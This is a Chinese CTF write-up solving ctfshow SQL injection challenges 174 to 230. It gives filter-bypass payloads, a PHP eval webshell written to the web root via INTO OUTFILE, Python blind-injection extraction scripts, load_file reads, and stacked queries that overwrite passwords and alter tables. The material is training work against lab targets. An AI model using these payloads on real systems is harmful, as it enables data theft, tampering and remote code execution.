union联合注入 174(限制数字-replace) 1 2 3 4 if (!preg_match ('/flag|[0-9]/i' , json_encode ($ret ))){ $ret ['msg' ]='查询成功' ; }
这里限制了flag字眼和数字,所以我们需要将数字全部替换掉(本题没有flag字段,不用更换flag,否则还需要根据所在位置进行相应处理)
关键步骤 方法:将数据to_base64加密,然后将里面所有的数字用replace()替换 (本题会将数字替换掉,且测试order有两行,所以这里select写的’a’,replace()这种。其他题用的话复制粘贴注意一下)
1 1 ' union select ' a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,' 0 ',' koishia'),' 1 ',' koishib'),' 2 ',' koishic'),' 3 ',' koishid'),' 4 ',' koishie'),' 5 ',' koishif'),' 6 ',' koishig'),' 7 ',' koishih'),' 8 ',' koishii'),' 9 ',' koishij') from ctfshow_user4 --+
然后写个简单的py脚本换回来就行,字符串不长,自己手动换也行 =。=
1 2 3 4 5 6 7 8 9 10 11 12 a = 'xxx' a= a.replace('koishia' ,"0" ) a= a.replace('koishib' ,"1" ) a= a.replace('koishic' ,"2" ) a= a.replace('koishid' ,"3" ) a= a.replace('koishie' ,"4" ) a= a.replace('koishif' ,"5" ) a= a.replace('koishig' ,"6" ) a= a.replace('koishih' ,"7" ) a= a.replace('koishii' ,"8" ) a= a.replace('koishij' ,"9" ) print (a)
具体题解步骤
用order一个一个试
1 1 ' union select ' a',database()--+
1 -1 ' union select ' a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),' 0 ',' koishia'),' 1 ',' koishib'),' 2 ',' koishic'),' 3 ',' koishid'),' 4 ',' koishie'),' 5 ',' koishif'),' 6 ',' koishig'),' 7 ',' koishih'),' 8 ',' koishii'),' 9 ',' koishij') from information_schema.tables where table_schema=' ctfshow_web'--+
1 -1 ' union select ' a',group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user4'--+
1 1 ' union select ' a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,' 0 ',' koishia'),' 1 ',' koishib'),' 2 ',' koishic'),' 3 ',' koishid'),' 4 ',' koishie'),' 5 ',' koishif'),' 6 ',' koishig'),' 7 ',' koishih'),' 8 ',' koishii'),' 9 ',' koishij') from ctfshow_user4 --+
175(webshell,outfile) 1 2 3 4 5 6 7 8 9 10 11 查询语句 / / 拼接sql 语句查找指定ID用户$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id' ]."' limit 1;"; 返回逻辑 / / 检查结果是否有flag if(! preg_match('/[\x00-\x7f]/i' , json_encode($ret))){ $ret['msg' ]= '查询成功' ; }
过滤了 ASCII 的0-127字符,我们可以使用盲注或者利用读写文件写入网站根目录
解法1 写入一个webshell使用蚁剑连接,然后读取文件
未处理的sql语句
1 -1 ' union select 1,"<?php eval($_POST[1]);?>" into outfile' / var/ www/ html/ 1. php
<?php eval($_POST[1]);?>
的base64编码
1 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
的Url编码
1 %50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b
playload 1 -1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b")into outfile'/var/www/html/1.php
蚁剑操作 连接成功后,在/var/www/html/api/config.php找到mysql的root的密码
在连接处登录数据库
在左边选择我们需要的数据库然后点击执行就行了
解法2: 先盲注判断字段名 (我 ctfshow 在 url 的 id 上输入sql语句没有执行,所以没做盲注脚本,这题时间盲注应该也可以)
然后将数据输出到一个文件中,然后访问对应文件
payload 1 -1 ' union select username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+
过滤 176(绕过select) 解法一 万能密码都能解?
解法二 发现原来是过滤了select =。= 随便大小写绕过就行
177-179(绕过空格) 解法 无非就是试试:/**/
%09
%0c
等等之类的啦
还有些时候可以使用()的方式绕过,详情见后续题
从我的另一个笔记中copy过来的常用payload :)
1 %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
180(绕过注释符) 这里它将部分空格符和注释符过滤了
绕过注释符的方法:
方法1
这样来闭合后面的引号
这题的步骤
1 2 3 4 5 6 7 8 9 -1 ' order by 3 or' 1 '=' 1 (我这里order by 没有执行成功,不知道为啥,用下面的select 一个一个试也行)'%0cunion%0cselect%0cdatabase(),2,3%0cand' 1 '=' 1 (这里好像把database放在第三个会出错)'%0cunion%0cselect%0c1,group_concat(table_name),3%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=' ctfshow_web'||' 1 '%0cunion%0cselect%0c1,group_concat(column_name),3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name=' ctfshow_user'||' 1 'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c' 1 '=' 1
方法2 也可以使用 --
(–后加个空格) 绕过。
payload:
1 1 '%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c' flag')%0c--%0c
180-182(完全无空格) 这里空格被全部限制了,而且select不再区分大小写,也就是说select和空格都无法使用了(180除外)
根据网上的说法:
payload(局限性,必须后台sql语句上满足后面说到的使用原理)
题目已经告诉:
sql查询代码
1 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;
过滤代码
1 2 3 function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\##|file|into|select/i' , $str ); }
将我们的payload放入代码中
1 where username !='flag' and id = '' or (id=26 )and '1' ='1' limit 1 ;";
因为and的优先级比or大,相当于
1 (username !='flag' and id = '' ) or (id=26 and '1' ='1' )
所以左边为0但是右边是1,所以where的条件是1,于是就去访问id=26的元组。实际上我们做题的时候并不知道flag在哪个id中,所以我们还是得一个一个试才行
183(from查询未禁where) 首先看提示需要post传参
1 $sql = "select count(pass) from ".$_POST['tableName' ].";
回显过滤
1 2 3 function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\##|\x23|file|\=|or|\x7c|select|and|flag|into/i' , $str ); }
查询结果
这里还ban掉了 =
等号
编写脚本注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl="http://df43a7e7-0206-4b63-8744-138e17de79e9.challenge.ctf.show/select-waf.php" flag="ctfshow{" for i in range (0 ,100 ): for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}" : data={ 'tableName' :"(ctfshow_user)where(pass)like'{}%'" .format (flag+j) } r=requests.post(url=url,data=data).text if "$user_count = 1" in r: flag+=j print (flag) if j=='}' : exit() break
184(禁用where和各种引号) 查询语句
1 $sql = "select count(*) from " .$_POST ['tableName' ].";" ;
返回逻辑
1 2 3 4 function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\##|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); }
查询结果
这里过滤了很多东西
做法 用right join绕过过滤
SQL RIGHT JOIN 关键字 | 菜鸟教程 (runoob.com)
RIGHT JOIN(右连接): 用于获取右表所有记录,即使左表没有对应匹配的记录。 例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 mysql> select * from persons; + | id | username | position | + | 1 | b477eRy | 1 | | 2 | p1 | 1 | | 3 | p2 | 3 | | 4 | p3 | 2 | | 5 | p4 | 2 | + 5 rows in set (0.00 sec)mysql> select * from persons as a right join persons as b on b.position = 3 ; + | id | username | position | id | username | position | + | 1 | b477eRy | 1 | 3 | p2 | 3 | | 2 | p1 | 1 | 3 | p2 | 3 | | 3 | p2 | 3 | 3 | p2 | 3 | | 4 | p3 | 2 | 3 | p2 | 3 | | 5 | p4 | 2 | 3 | p2 | 3 | | NULL | NULL | NULL | 1 | b477eRy | 1 | | NULL | NULL | NULL | 2 | p1 | 1 | | NULL | NULL | NULL | 4 | p3 | 2 | | NULL | NULL | NULL | 5 | p4 | 2 | + 9 rows in set (0.00 sec)
条件有一条记录满足时,记录总数 = 总数 * 2 - 1
过滤 ban 了 where,可以用 right/left/inner join 代替
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport stringurl = "http://27cf6a1e-36ab-48ce-aac6-5ee561a157d5.challenge.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})" true_flag = "$user_count = 43;" def make_payload (has: str ) -> str : return payload.format ((has).encode().hex ()) def valid_payload (p: str ) -> bool : data = { "tableName" : p } response = requests.post(url, data=data) return true_flag in response.text flag = "ctf" while True : for c in "{}-" + string.digits + string.ascii_lowercase: pd = flag + c print (f"\r[-] 少女折寿中: {pd} " , end="" ) if valid_payload(make_payload(pd)): flag += c print (f"\r[+] flag: {flag} " ) break if flag[-1 ] == "}" : print ("Over Sir!" ) break
185-186(禁用了数字和引号,意味着174失效) 有过滤的表名位置注入,这次过滤了所有数字,需要自己构造数字,char 转换数组成字符串。
1 2 3 4 5 6 7 8 9 10 11 12 $sql = "select count(*) from " .$_POST ['tableName' ].";" ;function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\##|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); } $user_count = 0 ;
构造数字 利用mysql的一些数学函数,构造出数字就行(由于本题还过滤了*,只能硬加了)
exp编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport stringurl = "http://d0c03a5a-c2a1-46a0-90f0-e7dd023f71ee.challenge.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(char({}))" judge = "$user_count = 43;" def numbermaker (num: int ) -> str : return "+" .join("true" for koishi in range (num)) def payload_maker (pay: str ) -> str : return payload.format ("," .join(numbermaker(ord (x)) for x in pay)) def valid_payload (p: str ) -> bool : data = { "tableName" : p } r = requests.post(url, data=data) return judge in r.text flag = "ctfs" while True : for k in "-{}" + string.digits + string.ascii_lowercase: pd = flag + k print (f"\r[-]少女折寿中ing...... 聪明⑨:{pd} " , end="" ) if valid_payload(payload_maker(pd)): flag += k print (f"\r[+] flag: {flag} " ) break if flag[-1 ] == "}" : break
登录类——特性 187( 绕过 md5($str,true) ) 1 2 3 4 5 6 7 8 9 10 11 $sql = "select count(*) from ctfshow_user where username = '$username ' and password= '$password '" ;$username = $_POST ['username' ];$password = md5 ($_POST ['password' ],true );if ($username !='admin' ){ $ret ['msg' ]='用户名不存在' ; die (json_encode ($ret )); }
对于这种,使用特殊字符串payload:ffifdyop 即可绕过
188(有过滤的数字型注入_数据库账号密码列名开头都是字符) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $sql = "select pass from ctfshow_user where username = {$username} " ; if (preg_match ('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==intval ($password )){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], array ('flag' =>$flag )); }
新姿势 当列的类型为 string 时,在查询限制条件中使用数字会将字符串转为数字进行比较,非数字开头的字符串会被转化为数字 0
在比较查询的时候,查询语句为:select pass from ctfshow_user where username = 0 and password = 0;
,由于username password
是字符串,弱比较成了0,而0=0成立,所条件就成立了;最后查询语句就成了:select pass from ctfshow_user where 1;
php弱类型总结 在 php 中,当一个字符串当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含 ‘.’,’e’,’E’ 并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
$row['pass']
为 string 类型,若第一个字符不是数字就会被转换为数字 0。尝试在 password 填写数字 0,成功绕过。
故本题账号密码都使用 0 即可
web189(数据库列名的开头不止一个是数字) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql = "select pass from ctfshow_user where username = {$username} " ;if (preg_match ('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; }
有过滤的数字型注入,尝试上一题的解法不能绕过,password 不止第一个字符是数字 ,不能被转换为 0。 正则很多东西没有过滤 ,可以利用 username 筛选条件 0 和 1 的回显不同,读文件布尔盲注 flag(0是密码错误,1是查询失败)
尝试写exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import requests url = "http://50df699d-c52e-4dce-8ef0-3ce85d9970eb.challenge.ctf.show/api/index.php" location_payload = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)" def find_flag_index () -> int : start = 0 end = 1000 while not (abs (start - end) == 1 or start == end): p = (start + end) data = { "username" : location_payload.format (index=p), "password" : 0 } response = requests.post (url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text: start = p else : end = p if end < start: end = start return end print ("[-] ⑨酱正在努力查找flag位置 = ̄ω ̄=" )flag_location = find_flag_index () print (f"[^_^] ⑨:本天才找到flag位置是:{flag_location}" )flag = "c" flag_location += 1 print ("[-] ⑨酱正在努力注入获取flag确切值 。◕‿◕。 " )injection_payload = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)" while flag[-1 ] != "}" : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): p = (start + end) data = { "username" : injection_payload.format (flag_location, p), "password" : 0 } response = requests.post (url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text: start = p else : end = p if end < start: end = start flag += chr (end) print (f"[(*o >Д<)o] flag是: {flag}" ) flag_location += 1
脚本写的多少带点我都个人爱好 = w =
布尔盲注(莫得回显,淦!) 190(这题账号也是数字开头的了) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $sql = "select pass from ctfshow_user where username = '{$username} '" ; if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; }
有过滤的字符型注入,没有给出过滤的正则表达式,在 username 处构造 payload 布尔盲注。 先查表名,再查列名,再用列名和表名构造 payload 查 flag。
由于是字符型注入,还是尝试万能密码 1’ or ‘1’=’1,发现可以使用,回显 “密码错误” 与 “用户名不存在” 不同,可以尝试bool
exp编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsurl = "http://5be0cea3-6e88-4794-8aa5-2dfcd4666080.challenge.ctf.show/api/index.php" payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- " judge = "\\u5bc6\\u7801\\u9519\\u8bef" result = "" index = 1 while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): p = (start + end) // 2 data = { "username" : payload.format (index, p), "password" : 0 } response = None while True : try : response = requests.post(url, data=data) except : continue break if judge in response.text: start = p else : end = p if end < start: end = start result += chr (end) print (f"[+] result: {result} " ) index += 1
191(和上题差不多,多了就是把ascii过滤了) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql = "select pass from ctfshow_user where username = '{$username} '" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
将脚本稍微改改就成(下面是直接使用字符进行的比较,也可以直接改上一题的ascii为ord)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsurl = "http://3b003a83-1047-4703-90a3-9d5ce5404c99.challenge.ctf.show/api/index.php" payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- " true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" result = "" index = 1 while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): p = (start + end) // 2 data = { "username" : payload.format (index, chr (p)), "password" : 0 } response = None while True : try : response = requests.post(url, data=data) except : continue break if true_flag in response.text: start = p else : end = p if end < start: end = start result += chr (end) print (f"[*] result: {result} " ) index += 1
192(禁了ord,ascii) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql = "select pass from ctfshow_user where username = '{$username} '" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
解法1 这题多把我们的ord给ban了,也就是说其实上一题目的是让我们用ord,这一题用我们上面给的脚本即可
这是其他师傅写的,和上一题本质上是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsurl='http://ca7884a2-04c6-4e4e-b1ca-2a03064c89ad.challenge.ctf.show/api/index.php' flag='' for i in range (1 ,100 ): length=len (flag) min =32 max =128 while 1 : j=min +(max -min )//2 if min ==j: flag+=chr (j) print (flag.lower()) if chr (j)==" " : exit() break payload="' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)<'{}',1,0)-- -" .format (i,chr (j)) data={ 'username' :payload, 'password' :1 } r=requests.post(url=url,data=data).text if r"\u5bc6\u7801\u9519\u8bef" in r: max =j else : min =j
解法2 payload 使用 regexp 来正则匹配的方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsurl="http://25b43db9-030f-483f-a2df-1bd47b8d62a7.challenge.ctf.show/api/index.php" flagstr="_{-}1234567890abcdefghijklmnopqrstuvwxyz" re="" flag="flag is :" for i in range (100 ): for j in flagstr: payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i} ,1)regexp('{j} '),1,2)='1" data = { 'username' : payload, 'password' : '1' } r = requests.post(url, data=data) if "密码错误" == r.json()['msg' ]: flag += j print (flag) if flag[-1 ] == "}" : exit()
193-194(多禁了substr) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $sql = "select pass from ctfshow_user where username = '{$username} '" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex|substr/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
(194还多禁了char、left、right、substring)
解法一:使用正则 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsimport stringurl = "http://a0a9883b-4b1a-409c-8f0e-e1beda2cdfb2.challenge.ctf.show/api/index.php" flag = "" for i in range (100 ): for j in string.digits+string.ascii_lowercase+"_{}" : payload = "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)#" .format (flag + j + "%" ) print ("\r" +payload,end="" ) data={ 'username' :payload, 'password' :1 } r = requests.post(url,data=data) if r"\u5bc6\u7801\u9519\u8bef" in r.text : flag+=j print (flag) if (j == '}' ): exit() break print (f"flag is:{flag} " )
有些小问题,最后flag的{}都变成了_不知道为啥,手动改改吧
解法二:使用mid或者right、left exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsurl = "http://1b6f8923-72d2-4a79-bf53-e8a6a58b00e4.challenge.ctf.show/api/index.php" payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- " judge = "\\u5bc6\\u7801\\u9519\\u8bef" result = "" index = 1 print ("[+]少女折寿中 :" )while True : start = 32 end =127 while not (abs (start-end)== 1 or start == end): p = (start+end)//2 data = { "username" :payload.format (index,chr (p)), "password" :0 } response = None while True : try : response = requests.post(url,data=data) except : continue break if judge in response.text: start = p else : end = p if end < start: end = start if (chr (end) == '!' ): exit() result += chr (end).lower() print (f"\rflag is:{result} " ,end="" ) index +=1
堆叠注入 195(未禁;和update) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $sql = "select pass from ctfshow_user where username = {$username} ;" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
利用堆叠注入更改密码为 274。用户名处填写(不使用16进制也可以操作)
payload: 1 0 ;update `ctfshow_user`set `pass`= 0x323734
(我现在才知道,这个0x开头的16进制算法是:0x表示16进制,后面每两位是ascii的16进制,如:32转为十进制是 50,用ascii化为2)
196(没营养的题) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql = "select pass from ctfshow_user where username = {$username} ;" ;if (preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (strlen ($username )>16 ){ $ret ['msg' ]='用户名不能超过16个字符' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
个人感觉这题TNND弱智,也许是想给我们说,限制16字符以下且无select时进行注入是不可能的吧
本题过滤的是 se1ect 而不是 select(明明正则里面写的就是select,出题人非要说是se1ect就这样吧),故直接使用select即可
payload:
空格和*被过滤了,就这样写了,利用堆叠注入绕过密码
197-198(未禁;和alter) 堆叠注入alter互换id和password进行爆破查找
1 2 3 4 5 6 7 8 9 10 11 12 13 $sql = "select pass from ctfshow_user where username = {$username} ;" ; if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
有过滤的数字型注入,没有过滤分号可堆叠注入。没有禁用 空格 alter table change column
,id 相比 password 具有递增 规律更容易爆破,实现互换 id 和 password。然后username是0或者0x61646d696e,password从1开始爆破即可。(可以使用bp或者自己写脚本)。
(当年学习 mysql 的笔记)
(在我脚本运行的时候,还必须在 change 后面加上 column ,不然执行不了,可能是mysql版本问题吧)
payload 1 0 ;alter table ctfshow_user change column `pass` `koishi` varchar (255 );alter table ctfshow_user change column `id` `pass` varchar (255 );alter table ctfshow_user change column `koishi` `id` varchar (255 );
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsurl = "http://b531b46e-ea66-48f5-8745-92d056f5b6e7.challenge.ctf.show/api/" def alter_tableColumn (): print ("ten sa yi Cirno : watashi wa shiyou shi hajime ta *(੭*ˊᵕˋ)੭* \n" ) change_payload = '0;alter table ctfshow_user change column `pass` `koishi` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `koishi` `id` varchar(255);' data = { "username" : change_payload, "password" : '0' } requests.post(url, data=data) success_flag = "\\u767b\\u9646\\u6210\\u529f" def foreach_num (): max_num = 300 print ("now, Cirno is working to solve the password:" ) for i in range (max_num): data = { "username" : "0" , "password" : f'{i} ' } print (f"\r now password is {i} " , end="" ) response = requests.post(url, data=data) if success_flag in response.text: print (f"Yo katta !! CirnoChan get the response :\n {response.text} " ) return if i == max_num - 1 : print ("\nSorry, maybe the max_num is a little smaller" ) if __name__ == "__main__" : alter_tableColumn() foreach_num()
199-200(还是;和alter,稍加修改) 1 2 3 4 5 6 7 8 9 10 11 12 13 $sql = "select pass from ctfshow_user where username = {$username} ;" ; if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
有过滤的数字型注入,没有过滤分号可堆叠注入。 正则禁用username的括号,password 改用 text 类型,id 改用 int 类型
本质上还是和上一题一样,不过是需要修改一下类型(嘛,毕竟没禁掉;和alter)
payload 1 0 ;alter table ctfshow_user change column `pass` `koishi` text;alter table ctfshow_user change column `id` `pass` int ;alter table ctfshow_user change column `koishi` `id` text;
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsurl = "http://35154a42-0d8a-4494-82e3-47db74fdd560.challenge.ctf.show/api/" def alter_tableColumn (): print ("ten sa yi Cirno : watashi wa shiyou shi hajime ta *(੭*ˊᵕˋ)੭* \n" ) change_payload = '0;alter table ctfshow_user change column `pass` `koishi` text;alter table ctfshow_user change column `id` `pass` int;alter table ctfshow_user change column `koishi` `id` text;' data = { "username" : change_payload, "password" : '0' } requests.post(url, data=data) success_flag = "\\u767b\\u9646\\u6210\\u529f" def foreach_num (): max_num = 300 print ("now, Cirno is working to solve the password:" ) for i in range (max_num): data = { "username" : "0" , "password" : f'{i} ' } print (f"\r now password is {i} " , end="" ) response = requests.post(url, data=data) if success_flag in response.text: print (f"Yo katta !! CirnoChan get the response :\n {response.text} " ) return if i == max_num - 1 : print ("\nSorry, maybe the max_num is a little smaller" ) if __name__ == "__main__" : alter_tableColumn() foreach_num()
225(堆叠注入plus,多限制,禁update、alter)–学习handler和预处理 1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ;if (preg_match ('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i' ,$username )){ die (json_encode ($ret )); }
select 和union 被禁了,我们就思考使用堆叠注入(;分号没禁),但是update和alter被禁了,我们之前的使用就不行了,我们就要想想其他的办法了
解法1–handler 学习handler的语法和使用
(37条消息) mysql查询语句-handler_jesseyoung的博客-CSDN博客
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 声明句柄 HANDLER tbl_name OPEN [ [AS ] alias] # 句柄操作 HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] # 关闭句柄 HANDLER tbl_name CLOSE
1)先使用万能密码看看都有什么数据(不看也行=。=,下面的username写1也可以)
1 /api/?username=1' or 1='1
2)因为没禁show,配合堆叠注入看看有哪些表名
1 /api/?username=ctfshow';show tables;
看到可疑表名ctfshow_flagasa,尝试查看
3)因为无select,使用handler
1 /api/?username=ctfshow';handler ctfshow_flagasa open as t;handler t read first;handler t close’
完事
解法2–预处理 学习预处理知识
MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园 (cnblogs.com)
1 2 3 4 5 6 # 定义预处理语句 PREPARE stmt_name FROM preparable_stmt;# 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name ] ...];# 删除(释放)定义 {DEALLOCATE | DROP } PREPARE stmt_name;
自己写了个脚本,当然手动注入也行=。=
(因为ban了很多关键字,这种可以使用char 或者 concat 绕过)
下面脚本是char 写法(写了脚本,比较方便,不用像concat那样手动分开)
concat大致是:
1 username= user1';PREPARE koishi from concat(' s',' elect', ' database()');EXECUTE koishi;
database前面或者select后面记得加空格=。=
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = "http://c1bfa393-c96f-41c7-b316-f0dfacba54d4.challenge.ctf.show/api/" def payload_maker (sql:str )->str : return f"ctfshow';prepare koishi from char({',' .join(str (ord (c)) for c in sql)} );execute koishi;" if __name__ == '__main__' : params = { "username" :payload_maker("show tables" ) } response=requests.get(url=url,params=params) print (response.text)
1) show tables
2)select * from ctfshow_flagasa
这道题又学废新姿势了 :)
226、228-230(堆叠注入plus,再增限制) 先看题限制
226
1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ;if (preg_match ('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i' ,$username )){ die (json_encode ($ret )); }
228-230
